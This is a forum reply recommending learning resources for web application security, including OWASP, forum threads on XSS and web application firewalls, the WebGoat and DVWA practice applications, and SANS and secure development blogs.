Can someone recommend any other better links with detailed explanation on web app security.

Ok, well there's tonnes of stuff on Owasp so I'd strongly encourage you to explore their site more. Maybe one of their chapters is close to you, you could attend one of them as they're free.

Here's a few good threads from this forum that have tonnes of information -

Explain XSS to an idiot
What is a Web Application Firewall -> there's links here to ModSecurity, which has many good articles and blogs
Beginners materials for web security
I want to be a web security consultant

I'd also consider installing things like vulnerable web applications like Webgoat and DVWA to learn from them.

There's loads of excellent informatin and cheatsheets here but sadly RSnake doesn't post any more.

Sans have an appsec blog here also.

Finally and by no means least, I'd have a long look at the Secure Development stuff from @securityninja.

That should be enough to get started.